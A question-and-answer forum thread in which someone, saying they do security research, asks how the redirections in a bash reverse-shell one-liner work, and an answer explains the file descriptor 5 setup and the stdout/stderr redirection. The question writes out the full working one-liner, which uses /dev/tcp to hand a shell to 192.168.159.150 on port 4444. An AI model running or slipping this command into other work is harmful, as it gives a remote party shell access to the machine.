I am doing some security research and I was wondering how the following snippet works on Unix based OS's:exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; doneI am totally aware of what this code does (ie establish a reverse shell to 192.168.159.150 over port 4444) but I don't understand what these sections are doing:exec 5<>cat <&52>&5 >&5And just in general how this how thing fits together to produce the shell that I see.Could anyone help explain this or point me in the right direction to understanding this?Thanks
How is this command redirection working?
shell;command line;security
Some parts of your question are answered hereButThis define new filedescriptor with number 5. BTW 0 is STDIN, 1 isSTDOUT, 2 is STDERR filedescriptorsEcho the information, which is received via TCP, IP 192.168.159.150,port 4444Send STDERR and STDOUT to filehandler 5 i.e network